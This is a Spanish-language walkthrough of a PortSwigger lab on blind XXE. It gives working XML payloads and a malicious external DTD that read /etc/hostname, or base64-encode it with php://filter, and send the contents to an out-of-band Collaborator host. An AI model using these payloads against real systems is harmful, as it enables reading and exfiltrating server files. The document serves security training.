Exploiting blind XXE to exfiltrate data using a malicious external DTD
Laboratorio de Portswigger sobre XXE
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio tiene una función de Check stock que analiza entradas XML, pero no muestra el resultado. Para resolver el laboratorio, hay que extraer el contenido del archivo /etc/hostname
Guía de XXE
Antes de completar este laboratorio es recomendable leerse esta guía de XXE https://justice-reaper.github.io/posts/XXE-Guide/
Resolución
Al acceder a la web nos sale esto
Si pulsamos en View details veremos la descripción del artículo
Si pulsamos en Check stock y capturamos la petición con Burpsuite vemos que se está tramitando un XML
Enviamos una petición con un DTD (Document Type Definition) y a comprobar si es vulnerable a XXE pero no vemos nada interesante en la respuesta
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe "Doe"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
Nos vamos a Burpsuite Collaborator y pulsamos en Copy to clipboard, este dominio obtenido lo vamos a usar para construir este payload, el % sirve para llamar a la entidad desde el DTD creado
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://lqfvrsm0rxqxty3gudtykjjoifo6cx0m.oastify.com"> %xxe; ]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
Nos vamos a Burpsuite Collaborator y observamos que hemos obtenido respuesta, lo cual quiere decir que ya tenemos un XXE out-of-band interaction
Lo que podemos hacer ahora que hemos confirmado que podemos cargar un recurso del servidor externo es pulsar en Go to exploit server, introducir este payload en la parte de Body y pulsar sobre Store para almacenarlo. Esto % es % pero en hexadecimal, se debe poner así y no en el formato normal para que funcione correctamente
1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://lqfvrsm0rxqxty3gudtykjjoifo6cx0m.oastify.com?content=%file;'>">
%eval;
%exfil;
En este laboratorio no funciona, pero podríamos usar este wrapper de php para encodear el output del comando en base64 si es más de una línea
1
2
3
4
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://lqfvrsm0rxqxty3gudtykjjoifo6cx0m.oastify.com?content=%file;'>">
%eval;
%exfil;
Lo siguiente que debemos hacer es irnos a donde pone Craft response, copiar la url https://exploit-0aa200cb045beea1d8e97fad01f20055.exploit-server.net/exploit y enviar la petición
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://exploit-0aa200cb045beea1d8e97fad01f20055.exploit-server.net/exploit"> %xxe; ]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
Ahora nos vamos a Burpsuite Collaborator, pulsamos en Resquest to Collaborator y vemos el /etc/hostname
Submiteamos la solución y completamos el laboratorio






